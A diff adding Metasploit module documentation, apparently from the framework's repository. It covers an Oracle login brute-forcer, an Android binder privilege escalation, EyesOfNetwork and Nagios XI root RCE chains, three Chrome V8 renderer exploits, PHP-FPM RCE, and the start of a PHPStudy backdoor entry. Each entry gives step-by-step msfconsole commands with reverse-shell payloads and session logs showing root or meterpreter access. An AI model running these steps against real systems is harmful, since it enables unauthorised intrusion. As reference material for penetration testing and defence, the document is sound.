Target hosts, range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
|
||||
**RPORTS**
|
||||
|
||||
Ports of the target
|
||||
|
||||
**SID**
|
||||
|
||||
Instance (SID) to authenticate against. Default `XE`
|
||||
|
||||
**STOP_ON_SUCCESS**
|
||||
|
||||
Stop the bruteforce attack when a valid combination is found
|
||||
|
||||
**THREADS**
|
||||
|
||||
Number of concurrent threads (max of one per host)
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Specific username to try for all passwords
|
||||
|
||||
**USERPASS_FILE**
|
||||
|
||||
File of username and passwords, separated by space, one set per line. Default `oracle_default_userpass.txt`
|
||||
|
||||
**USER_AS_PASS**
|
||||
|
||||
Try the username as the password for all users
|
||||
|
||||
**USER_FILE**
|
||||
|
||||
File containing usernames, one per line
|
||||
|
||||
## Scenarios
|
||||
|
||||
Unfortunately due to the nmap bug mentioned above, it was not possible to create an example run.
|
||||
@@ -0,0 +1,40 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit module currently targets a very specific build of Android on specific set of hardware targets:
|
||||
|
||||
- Google Pixel 2 or Pixel XL 2 phones running the September 2019 security patch level.
|
||||
|
||||
This exploit module would have to be retargeted for any other potentially vulnerable build or hardware target.
|
||||
|
||||
One difficult issue with the Google Pixel 2 is that, while many Google phones have an unlocked bootloader, making it easy to download older Android revisions, the latest Pixel 2 updates show this feature has been disabled or broken [older revisions to the device firmware](https://developers.google.com/android/images). This may be a firmware bug or intentional, but Google themselves do not appear to have an answer [for the problem](https://support.google.com/pixelphone/thread/14920605?hl=en). For testing, you may need a phone never updated to a later Android revision.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- Get an android meterpreter session on a Pixel 2 or Pixel XL 2 with the right kernel:
|
||||
|
||||
`msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $LHOST; set lport 4444; set ExitOnSession false; run -j`
|
||||
|
||||
- Currently this only works on the Pixel 2 (and Pixel 2 XL) with september 2019 Security patch level. Validate the kernel version looks like this:
|
||||
|
||||
```
|
||||
uname -a
|
||||
Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
|
||||
```
|
||||
|
||||
- Run the exploit:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/handler) > use exploit/android/local/binder_uaf
|
||||
msf5 exploit(android/local/binder_uaf) > set LHOST IPADDR
|
||||
msf5 exploit(android/local/binder_uaf) > set LPORT 4448 (different from your Android meterpreter port)
|
||||
LPORT => 4448
|
||||
msf5 exploit(android/local/binder_uaf) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf5 exploit(android/local/binder_uaf) > run
|
||||
```
|
||||
|
||||
- **Verify** the new session can read and write private application data (in /data/data/..../)
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module illustrates a privesc that, when chained with other exploit vectors, could turn an unprivileged sandboxed exploit into a sandbox escape and system compromise. Note that the target application may need to match the kernel CPU type, so for instance a 64-bit Chrome would need to be targeted with a 64-bit kernel.
|
||||
@@ -0,0 +1,70 @@
|
||||
## Vulnerable Application
|
||||
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root.
|
||||
|
||||
The module first exploits a hardcoded admin API key in EyesOfNetwork API version 2.4.2 (CVE-2020-8657) in order to generate a valid access token and use it to create a new user with admin privileges. If the generated key is not valid, the admin API key is obtained via an SQL injection vulnerability affecting the same API version (CVE-2020-8656).
|
||||
|
||||
Next, the module authenticates as the newly created user in order to abuse a command injection vulnerability in the `target` parameter of the AutoDiscovery functionality within the EON web interface (CVE-2020-8654). Specifically, it writes an Nmap NSE script containing the payload to disk, and then activates this script by launching an Nmap host discovery scan against the target. This approach achieves privilege escalation because the default sudo configuration permits the 'apache' user to execute Nmap as root (CVE-2020-8655).
|
||||
|
||||
The module only works with HTTPS, so SSL is enabled by default. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hardcoded key, and via SQLI. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2.
|
||||
|
||||
## Verification Steps
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/eyesofnetwork_autodiscovery_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `set payload [payload]`
|
||||
6. Do: `set LHOST [IP]`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Options
|
||||
1. `SERVER_ADDR`. This option should be set in case the EyesOfNetwork server IP address is different from RHOST. This because the EON server IP is needed to generate the API key.
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/eyesofnetwork_autodiscovery_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SERVER_ADDR yes EyesOfNetwork server IP address (if different from RHOST)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path to EyesOfNetwork
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (generic/shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Auto
|
||||
|
||||
|
||||
msf5 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] Using generated API key: a496fb1025187066dc1e4e56197bd2db1a23c565f42b98df8ff55698442b6476
|
||||
[+] Authenticated as user kY7Qn1gr8L
|
||||
[*] Sending payload (428 bytes) ...
|
||||
[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:45897) at 2020-02-19 15:30:31 +0100
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## References
|
||||
1. <https://www.exploit-db.com/exploits/48025>
|
||||
2. <https://nvd.nist.gov/vuln/detail/CVE-2020-8654>
|
||||
3. <https://nvd.nist.gov/vuln/detail/CVE-2020-8655>
|
||||
4. <https://nvd.nist.gov/vuln/detail/CVE-2020-8656>
|
||||
5. <https://nvd.nist.gov/vuln/detail/CVE-2020-8657>
|
||||
@@ -0,0 +1,96 @@
|
||||
## Introduction
|
||||
This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root.
|
||||
|
||||
The module first checks if the supplied credentials are valid and belong to a user with permissions to modify plugins. It then exploits these permissions by uploading a malicious plugin to the target and subsequently sending an HTTP GET request to profile.php?cmd=download. This request downloads a system profile from the server and in the process launches the getprofile.sh script as root via a passwordless sudo entry. This script executes the malicious plugin as root.
|
||||
|
||||
For all supported targets except `Linux (cmd)`, the module uses a command stager to write the exploit to the target via the malicious plugin. However, this method may not work if Nagios XI is running in a restricted Unix environment like a minimal/custom CentOS installation. In the latter case, the target must be set to `Linux (cmd)`. For this target, the module writes the payload directly to the malicious plugin while avoiding commands that may not be supported in a restricted environment. It is recommended to use the target's default `cmd/unix/reverse_bash` payload in this scenario.
|
||||
|
||||
If the target is found to be vulnerable but the module completes without establishing a session, try increasing the value of `WfsDelay` (the additional delay when waiting for a session). The default value of this advanced option is 10 seconds. To check it, run `show advanced`. Other possible solutions are changing the payload, manually setting the value of the `CMDSTAGER::FLAVOR` advanced option, and setting the target to `Linux (cmd)` as explained above.
|
||||
|
||||
Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. Please note that the module may behave differently when run against older versions of Nagios XI. For instance, during a test against Nagios XI 5.4.10, the module failed to trigger execution of the payload. Instead, the payload was executed randomly after a period of time (up to 5 minutes). Moreover, the session that was ultimately established, was not a root session.
|
||||
|
||||
## Vulnerable system
|
||||
Nagios XI before 5.6.6.
|
||||
|
||||
## Verification Steps
|
||||
1. Install the module as usual
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/nagiosxi_authenticated_rce`
|
||||
4. Do: `set RHOSTS [IP]`
|
||||
5. Do: `set SRVHOST [IP]`
|
||||
6. Do: `set USERNAME [username]`
|
||||
7. Do: `set PASSWORD [password]`
|
||||
8. Do: `set payload [payload]`
|
||||
9. Do: `set LHOST [IP]`
|
||||
10. Do: `set LPORT [port]`
|
||||
11. Do: `exploit`
|
||||
|
||||
## Options
|
||||
1. `USERNAME`. The username to authenticate with. This user should have permissions to modify plugins. The default setting is `nagiosadmin`, which is the default admin account for Nagios XI systems.
|
||||
2. `PASSWORD`. The password to authenticate with.
|
||||
|
||||
## Targets
|
||||
0. Linux (x86)
|
||||
1. Linux (x64) # This is the default target.
|
||||
2. Linux (cmd) # If wget is not installed on the target, this target should be selected together with the payload cmd/unix/reverse_bash.
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf5 exploit(linux/http/nagiosxi_authenticated_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/nagiosxi_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD P@ssw0rd! yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.1.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVHOST 192.168.1.2 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path to NagiosXI
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME nagiosadmin yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.1.2 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux (x64)
|
||||
|
||||
|
||||
msf5 exploit(linux/http/nagiosxi_authenticated_rce) > run
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] Found Nagios XI application with version 5.6.5.
|
||||
[*] Using URL: http://192.168.1.2:8080/eFFP5lYvZ8eCnR0
|
||||
[*] Uploading malicious 'check_ping' plugin...
|
||||
[*] Command Stager progress - 100% done (121/121 bytes)
|
||||
[+] Successfully uploaded plugin.
|
||||
[*] Executing plugin...
|
||||
[*] Waiting for the plugin to request the final payload...
|
||||
[*] Client 192.168.1.1 (Wget/1.14 (linux-gnu)) requested /eFFP5lYvZ8eCnR0
|
||||
[*] Sending payload to 192.168.1.1 (Wget/1.14 (linux-gnu))
|
||||
[*] Sending stage (3021284 bytes) to 192.168.1.1
|
||||
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:56510) at 2020-02-27 16:27:49 +0100
|
||||
[*] Deleting malicious 'check_ping' plugin...
|
||||
[+] Plugin deleted.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
|
||||
```
|
||||
## References
|
||||
1. <https://github.com/jakgibb/nagiosxi-root-rce-exploit>
|
||||
2. <https://nvd.nist.gov/vuln/detail/CVE-2019-15949>
|
||||
@@ -0,0 +1,61 @@
|
||||
This module exploits an issue in Chrome 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory.
|
||||
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload.
|
||||
|
||||
**The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.**
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The module is compatible with any 64bit Google Chrome (version 72 or 73), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download a vulnerable Chrome version from this location:
|
||||
[https://www.filepuma.com/download/google_chrome_64bit_73.0.3683.86-21785/](https://www.filepuma.com/download/google_chrome_64bit_73.0.3683.86-21785/)
|
||||
|
||||
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
|
||||
You may also need to disable Windows Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/chrome_array_map```
|
||||
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 and Google Chrome 73.0.3683.86 with --no-sandbox
|
||||
|
||||
Start Google Chrome without a sandbox:
|
||||
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/browser/chrome_array_map
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_array_map) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/browser/chrome_array_map) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.3 chrome_array_map - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
|
||||
[*] Sending stage (206403 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49675) at 2020-02-29 15:07:06 +0800
|
||||
|
||||
msf5 exploit(multi/browser/chrome_array_map) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > pwd
|
||||
C:\Program Files (x86)\Google\Chrome\Application\73.0.3683.86
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory.
|
||||
The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory.
|
||||
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode.
|
||||
|
||||
**The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.**
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The module is compatible with any 64bit Google Chrome (version 80), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified for different versions.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download a vulnerable Chrome version from this location:
|
||||
[https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/](https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/)
|
||||
|
||||
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
|
||||
You may also need to disable Windows Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/chrome_jscreate_sideeffect```
|
||||
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 and Google Chrome 80.0.3987.87 with --no-sandbox
|
||||
|
||||
Start Google Chrome without a sandbox:
|
||||
|
||||
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/browser/chrome_jscreate_sideeffect
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) >
|
||||
[*] 192.168.56.3 chrome_jscreate_sideeffect - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
|
||||
[*] Sending stage (206403 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49677) at 2020-03-04 21:22:38 +0800
|
||||
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > pwd
|
||||
C:\Program Files (x86)\Google\Chrome\Application\80.0.3987.87
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,61 @@
|
||||
This modules exploits a type confusion in Google Chromes JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary.
|
||||
The type confusion can be used to construct a arbitrary read/write memory primitive, which is used to write shellcode into rwx region of a WebAssembly object.
|
||||
|
||||
**This module does not contain an exploit to escape the sandbox, so you must launch Google Chrome with the --no-sandbox option**
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The module is compatible with any 64bit Google Chrome (version 67, 68 or 69), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download a vulnerable Chrome version from this location:
|
||||
[https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/](https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/)
|
||||
|
||||
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
|
||||
You may also need to disable Windows Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/chrome_object_create```
|
||||
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 and Google Chrome 69.0.3497.100 with --no-sandbox
|
||||
|
||||
Start Google Chrome without a sandbox:
|
||||
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/browser/chrome_object_create
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_object_create) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/browser/chrome_object_create) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.3 chrome_object_create - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
|
||||
[*] Sending stage (206403 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49682) at 2020-02-29 14:29:06 +0800
|
||||
|
||||
msf5 exploit(multi/browser/chrome_object_create) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > pwd
|
||||
C:\Program Files (x86)\Google\Chrome\Application\69.0.3497.100
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,170 @@
|
||||
This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33,
|
||||
7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers
|
||||
with certains Nginx + PHP-FPM configurations are exploitable. This is a port of
|
||||
the original neex's exploit code (see refs.). First, it detects the correct
|
||||
parameters (Query String Length and custom header length) needed to trigger
|
||||
code execution. This step determines if the target is actually vulnerable
|
||||
(Check method). Then, the exploit sets a series of PHP INI directives to create
|
||||
a file (`/tmp/a`) locally on the target, which enables code execution through a
|
||||
query string parameter (`?a=<cmd>`). This is used to execute normal payload
|
||||
stagers. Finally, this module does some cleanup by killing local PHP-FPM
|
||||
workers (those are spawned automatically once killed) and removing the created
|
||||
local file (`/tmp/a`).
|
||||
|
||||
## Vulnerable Application
|
||||
- Install Nginx on Linux (`apt-get install nginx`)
|
||||
- get the vulnerable PHP:
|
||||
|
||||
```
|
||||
git clone https://github.com/php/php-src
|
||||
# checkout the fix
|
||||
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
|
||||
# checkout the commit previous to the fix
|
||||
git -C php-src checkout HEAD~1
|
||||
```
|
||||
|
||||
- make sure the default Nginx configuration contains these entries and no
|
||||
script existence checks (like `try_files`):
|
||||
|
||||
```
|
||||
location ~ [^/]\.php(/|$) {
|
||||
...
|
||||
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
|
||||
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||
fastcgi_pass php:9000;
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
See original PoC for details: https://github.com/neex/phuip-fpizdam
|
||||
|
||||
An easiest way to setup a vulnerable instance is to use the docker
|
||||
configuration provided by the author
|
||||
(https://github.com/neex/phuip-fpizdam/tree/master/reproducer)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Preparing the target:
|
||||
|
||||
1. `git clone https://github.com/neex/phuip-fpizdam`
|
||||
2. `cd phuip-fpizdam/reproducer/`
|
||||
3. `docker build -t reproduce-cve-2019-11043 .`
|
||||
4. `docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043`
|
||||
|
||||
Running the exploit:
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `use exploit/multi/http/php_fpm_rce`
|
||||
4. `set RHOSTS 192.168.6.6`
|
||||
5. `set RPORT 8080`
|
||||
4. `set TARGETURI /script.php`
|
||||
6. `set PAYLOAD php/meterpreter/reverse_tcp`
|
||||
7. `set LHOST 192.168.6.6`
|
||||
8. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
Path to a PHP page (`/index.php` by default). This must be a valid page.
|
||||
|
||||
## Advanced Options
|
||||
|
||||
**MinQSL**
|
||||
Minimum query string length (QSL). The QSL detection engine will iterate
|
||||
starting from this value (1500 by default). This option is required.
|
||||
|
||||
**MaxQSL**
|
||||
Maximum query string length (QSL). The QSL detection engine will iterate
|
||||
until this value is reached (1950 by default). This option is required.
|
||||
|
||||
**QSLHint**
|
||||
Query string length hint. This value will be used as a QSL candidate. Note
|
||||
that setting this value skips the QSL detection.
|
||||
|
||||
**QSLDetectStep**
|
||||
Query string length detect step. The QSL detection engine will iterate with
|
||||
this step value (5 by default). This option is required.
|
||||
|
||||
**MaxQSLCandidates**
|
||||
Maximum query string length candidates. When the number of QSL candidates
|
||||
found during the QSL detection phase is greater than this value (10 by
|
||||
default), this indicates that something went wrong and we were not able to
|
||||
detect the correct values. This option is required.
|
||||
|
||||
**MaxQSLDetectDelta**
|
||||
Maximum query string length detection delta. This value is the maximum
|
||||
distance between the candidate and the extended values (10 by default). For
|
||||
example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will
|
||||
be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.
|
||||
|
||||
**MaxCustomHeaderLength**
|
||||
Maximum custom header length. This value is the maximum length that will be
|
||||
used for the custom header during the parameters detection (256 by default).
|
||||
This option is required.
|
||||
|
||||
**CustomHeaderLengthHint**
|
||||
Custom header length hint. This value will be used as the custom header
|
||||
length. Note that setting this value skips the custom header length
|
||||
detection.
|
||||
|
||||
**DetectMethod**
|
||||
Method that will be used to detect if the target is vulnerable. Available
|
||||
methods:
|
||||
|
||||
1. `session.auto_start`: this method consist in setting the
|
||||
`session.auto_start` PHP option to 1. If the response contains `PHPSESSID=`
|
||||
set-cookie value, this means the PHP option has been correctly set and the
|
||||
target is vulnerable.
|
||||
2. `output_handler.md5`: this method consist in setting the `output_handler`
|
||||
PHP option to `md5`. If the response is a md5 hash (16 characters), this
|
||||
means the PHP option has been correctly set and the target is vulnerable.
|
||||
|
||||
**OperationMaxRetries**
|
||||
Maximum of operation retries. Each operation will be repeated at most
|
||||
`OperationMaxRetries` times.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/php_fpm_rce
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
|
||||
RHOSTS => 192.168.6.6
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
|
||||
TARGETURI => /script.php
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
|
||||
PAYLOAD => php/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
|
||||
LHOST => 192.168.6.6
|
||||
msf5 exploit(multi/http/php_fpm_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.6.6:4444
|
||||
[*] Sending baseline query...
|
||||
[*] Detecting QSL...
|
||||
[+] The target is probably vulnerable. Possible QSLs: [1765]
|
||||
[*] Doing sanity check...
|
||||
[*] Detecting attack parameters...
|
||||
[+] Parameters found: QSL=1760, customh_length=69
|
||||
[+] Target is vulnerable!
|
||||
[*] Performing attack using php.ini settings...
|
||||
[+] Success! Was able to execute a command by appending 'which+which'
|
||||
[*] Trying to cleanup /tmp/a...
|
||||
[+] Cleanup done!
|
||||
[*] Sending payload...
|
||||
[*] Sending stage (38288 bytes) to 192.168.6.6
|
||||
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
|
||||
[+] Session created
|
||||
[*] Remove /tmp/a and kill workers...
|
||||
[+] Done!
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : 832efebeac57
|
||||
OS : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
## Description
|
||||
|
||||
PHPStudy is free software, it is a one-click installation software, which includes PHP, MySQL, Apache and more. At some point in time, hackers were able to hack into phpStudy and tamper on 2016 and 2018 versions of the software to make it vulnerable to this specific exploit.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability exists in php-5.4.45 and php-5.2.17 service versions in PHPStudy2016 and PHPStudy2018
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do:```use exploit/multi/http/phpstudy_backdoor_rce```
|
||||
3. Do:```set rhosts <target>```
|
||||
4. Do:```run```
|
||||
|
||||
If your target is vulnerable, you will get a shell.
|
||||
you should see an output similar to the following
|
||||
|
||||
```
|
||||
